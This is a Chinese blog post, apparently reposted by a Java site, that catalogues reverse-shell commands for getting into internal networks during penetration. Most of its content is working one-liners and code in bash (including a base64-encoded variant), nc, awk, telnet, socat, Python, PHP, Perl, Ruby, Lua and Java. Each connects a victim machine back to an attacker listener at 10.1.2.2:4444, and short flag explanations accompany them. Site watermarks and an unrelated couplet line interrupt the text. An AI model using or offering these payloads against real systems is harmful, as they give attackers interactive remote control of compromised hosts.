论内网渗透中,反弹shell的各种姿势「建议收藏」

论内网渗透中,反弹shell的各种姿势「建议收藏」反弹shell是进入内网的第一步,也是权限提升用到的至关重要的一步。1、bash反弹 攻击机: nc-lvp4444 客户机: bash-i>&/dev/tcp/10.1.2.2/44440>&1命令介绍:nc -i使用监听模式 -v显示命令执行过程 -p指定端口号。 -e执行给定的命令 bash -i使用交互模式, -c执行跟的命令 重定向 0:标准输入,

反弹shell是进入内网的第一步,也是权限提升用到的至关重要的一步。

1、bash反弹

  • 攻击机:

nc -lvp 4444

  • 客户机:

bash -i>& /dev/tcp/10.1.2.2/4444 0>&1

命令介绍:

nc

  • -i使用监听模式

  • -v 显示命令执行过程

  • -p 指定端口号。

  • -e 执行给定的命令

bash

  • -i使用交互模式,

  • -c 执行跟的命令

重定向

  • 0:标准输入,1:标准输出,2:错误输出。

  • >输出重定向符

  • <输入重定向符号

  • >& 如果后面跟的是文件,则把标准输出和标准错误输出重定向到文件,如果后面跟的是文件描述符,则将左边的文件描述符重定向到右面描述符

/dev/tcp/10.1.2.2/4444

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
只听到从架构师办公室传来架构君的声音:
子月水寒风又烈。有谁来对上联或下联?

base64版:

此代码由Java架构师必看网-架构君整理
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

2、nc反弹

  • 攻击机:

nc -lvp 4444

  • 客户机:

nc -e /bin/bash 10.1.2.2 4444

nc 10.1.2.2 4444 | /bin/bash |nc 10.1.2.2 5555

3、awk反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

awk 'BEGIN{s="/inet/tcp/0/10.1.2.2/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

命令介绍:

awk

  • BEGIN 执行结果前执行的内容

  • END 执行结果后执行的内容

  • getline 获取当前行的下一行

  • close 关闭文件或管道

4、telnet反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

此代码由Java架构师必看网-架构君整理
telnet 10.1.2.2 4444 | /bin/bash | telnet 10.1.2.2 5555
  • 需要在攻击主机上分别监听4444和5555端口,执行反弹shell命令后,在4444终端输入命令,5555查看命令执行后的结果。

5、socat反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp: 10.1.2.2:4444

socat

概述socat,是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版

  • exec 执行一个程序作为数据流

6、Python反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

python -c 
"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.2.2',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

7、php反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

php -r '$sock=fsockopen("10.1.2.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

8、Perl反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

perl -e 'use Socket;$i="10.1.2.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

9、ruby反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

ruby -rsocket -e'f=TCPSocket.open("10.1.2.2",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

10、Lua反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.2.2','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

11、JAVA反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

public class Revs {
public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/10.1.2.2/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

javac编译,java执行即可成功

本文来源土豆.exe,由架构君转载发布,观点不代表Java架构师必看的立场,转载请标明来源出处:https://javajgs.com/archives/210160
0
   

发表评论